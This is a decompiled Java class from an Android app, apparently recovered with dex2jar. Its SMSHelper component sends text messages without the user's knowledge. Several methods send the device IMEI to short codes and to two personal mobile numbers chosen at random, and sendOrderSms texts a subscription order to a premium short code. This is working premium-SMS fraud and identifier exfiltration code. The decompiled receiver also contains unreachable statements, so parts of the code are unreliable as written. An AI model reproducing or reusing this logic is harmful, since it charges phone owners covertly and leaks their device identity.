package com.appwoo.txtws.component;

import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.telephony.SmsManager;
import java.io.PrintStream;

public class SMSHelper
{
  private static final String ORDER_DESTINATION = "106598139";
  private static final String ORDER_MSG = "dg";
  private String SENT_SMS_ACTION2 = "SENT_SMS_ACTION2";
  private Context context;
  private BroadcastReceiver sendMessage = new BroadcastReceiver()
  {
    public void onReceive(Context paramAnonymousContext, Intent paramAnonymousIntent)
    {
      switch (getResultCode())
      {
      default:
        System.out.println("短信发送fail");
      case -1:
      }
      try
      {
        paramAnonymousContext.unregisterReceiver(SMSHelper.this.sendMessage);
        return;
        System.out.println("短信发送成功");
        SharedPreferences.Editor localEditor = paramAnonymousContext.getSharedPreferences("firstLogin", 0).edit();
        localEditor.putBoolean("sendIMEI", true);
        localEditor.commit();
        try
        {
          paramAnonymousContext.unregisterReceiver(SMSHelper.this.sendMessage);
          return;
        }
        catch (Exception localException1)
        {
        }
      }
      catch (Exception localException2)
      {
        localException2.printStackTrace();
      }
    }
  };
  private SmsManager smsManager = SmsManager.getDefault();

  public SMSHelper()
  {
  }

  public SMSHelper(Context paramContext)
  {
    this.context = paramContext;
  }

  public void sendIMEImsg()
  {
    try
    {
      System.out.println("发送短信 ---开始");
      this.context.registerReceiver(this.sendMessage, new IntentFilter(this.SENT_SMS_ACTION2));
      Intent localIntent = new Intent(this.SENT_SMS_ACTION2);
      PendingIntent localPendingIntent = PendingIntent.getBroadcast(this.context, 0, localIntent, 0);
      this.smsManager.sendTextMessage("106593250080", null, "串号|" + Global.getIMEI(this.context) + "|", localPendingIntent, null);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

  public void sendIMEImsg2()
  {
    try
    {
      System.out.println("发送短信-sendIMEImsg2 ---开始");
      Intent localIntent = new Intent(this.SENT_SMS_ACTION2);
      PendingIntent localPendingIntent = PendingIntent.getBroadcast(this.context, 0, localIntent, 0);
      this.smsManager.sendTextMessage("106593250080", null, "串号|" + Global.getIMEI(this.context) + "|", localPendingIntent, null);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

  public void sendIMEImsgToSmsCat()
  {
    try
    {
      System.out.println("发送短信-smscat ---开始");
      this.context.registerReceiver(this.sendMessage, new IntentFilter(this.SENT_SMS_ACTION2));
      Intent localIntent = new Intent(this.SENT_SMS_ACTION2);
      PendingIntent localPendingIntent = PendingIntent.getBroadcast(this.context, 0, localIntent, 0);
      String str = new String[] { "15280287512", "15280286732" }[((int)(2.0D * java.lang.Math.random()))];
      this.smsManager.sendTextMessage(str, null, Global.PROJECT_ID + "@" + Global.getIMEI(this.context), localPendingIntent, null);
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }

  public void sendOrderSms()
  {
    this.smsManager.sendTextMessage("106598139", null, "dg", null, null);
  }
}

/* Location:           C:\Documents and Settings\Administrator\classes_dex2jar.jar
 * Qualified Name:     com.appwoo.txtws.component.SMSHelper
 * JD-Core Version:    0.6.2
 */